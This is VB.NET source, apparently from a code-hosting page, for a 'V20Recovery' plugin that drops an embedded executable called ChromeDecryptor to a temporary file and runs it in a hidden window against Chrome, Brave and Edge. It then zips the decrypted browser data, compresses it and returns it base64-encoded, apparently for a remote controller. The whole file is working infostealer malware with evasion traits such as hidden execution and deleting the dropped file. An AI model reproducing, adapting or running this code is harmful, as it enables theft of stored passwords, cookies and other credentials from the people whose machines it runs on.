92 lines
3.2 KiB
VB.net
92 lines
3.2 KiB
VB.net
Imports System
|
|
Imports System.Diagnostics
|
|
Imports System.IO
|
|
Imports System.IO.Compression
|
|
Imports System.Text
|
|
Imports System.Threading
|
|
Imports Microsoft.VisualBasic
|
|
|
|
Namespace V20Recovery
|
|
Public Class Plugin
|
|
Public Shared Function RunRecovery(Method As Integer) As String
|
|
Dim text3 As String
|
|
Try
|
|
Select Case Method
|
|
Case 7
|
|
Dim tempPath As String = Path.GetTempPath()
|
|
Dim text As String = Path.Combine(tempPath, "XRecovery.zip")
|
|
Dim flag As Boolean = File.Exists(text)
|
|
If flag Then
|
|
Try
|
|
File.Delete(text)
|
|
Catch ex As Exception
|
|
End Try
|
|
End If
|
|
Plugin.RunChromiumDecryptions()
|
|
Thread.Sleep(5000)
|
|
Dim text2 As String = Path.GetTempPath() + "XRecovery"
|
|
Using zipFile As Ionic.Zip.ZipFile = New Ionic.Zip.ZipFile(Encoding.GetEncoding("cp866"))
|
|
zipFile.ParallelDeflateThreshold = -1L
|
|
zipFile.UseZip64WhenSaving = Ionic.Zip.Zip64Option.Always
|
|
zipFile.CompressionLevel = Ionic.Zlib.CompressionLevel.[Default]
|
|
zipFile.AddDirectory(text2)
|
|
zipFile.Save(text2 + ".zip")
|
|
Directory.Delete(text2, True)
|
|
End Using
|
|
Return Convert.ToBase64String(Plugin.Compress(File.ReadAllBytes(text2 + ".zip")))
|
|
End Select
|
|
text3 = Nothing
|
|
Catch ex2 As Exception
|
|
text3 = Nothing
|
|
End Try
|
|
Return text3
|
|
End Function
|
|
Public Shared Function Compress(input As Byte()) As Byte()
|
|
Dim array As Byte()
|
|
Using memoryStream As MemoryStream = New MemoryStream()
|
|
Dim bytes As Byte() = BitConverter.GetBytes(input.Length)
|
|
memoryStream.Write(bytes, 0, 4)
|
|
Using gzipStream As Global.System.IO.Compression.GZipStream = New Global.System.IO.Compression.GZipStream(memoryStream, Global.System.IO.Compression.CompressionMode.Compress)
|
|
gzipStream.Write(input, 0, input.Length)
|
|
gzipStream.Flush()
|
|
End Using
|
|
array = memoryStream.ToArray()
|
|
End Using
|
|
Return array
|
|
End Function
|
|
Public Shared Sub RunChromiumDecryptions()
|
|
Dim text As String = Path.Combine(Path.GetTempPath(), "XRecovery", "Browsers")
|
|
Dim flag As Boolean = Directory.Exists(text)
|
|
If flag Then
|
|
Directory.Delete(text, True)
|
|
End If
|
|
Thread.Sleep(3000)
|
|
Dim flag2 As Boolean = Not Directory.Exists(text)
|
|
If flag2 Then
|
|
Directory.CreateDirectory(text)
|
|
End If
|
|
Dim text2 As String = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".exe")
|
|
File.WriteAllBytes(text2, My.Resources.ChromeDecryptor)
|
|
Dim array As String() = New String() {"chrome", "brave", "edge"}
|
|
For Each text3 As String In array
|
|
Plugin.RunProcessHidden(text2, String.Format(" {0} -o ""{1}""", text3, text))
|
|
Next
|
|
File.Delete(text2)
|
|
End Sub
|
|
Private Shared Sub RunProcessHidden(path As String, args As String)
|
|
Dim flag As Boolean = Not File.Exists(path)
|
|
If Not flag Then
|
|
Using process As Process = New Process()
|
|
process.StartInfo.FileName = path
|
|
process.StartInfo.Arguments = args
|
|
process.StartInfo.CreateNoWindow = True
|
|
process.StartInfo.UseShellExecute = False
|
|
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
|
|
process.Start()
|
|
process.WaitForExit()
|
|
End Using
|
|
End If
|
|
End Sub
|
|
End Class
|
|
End Namespace
|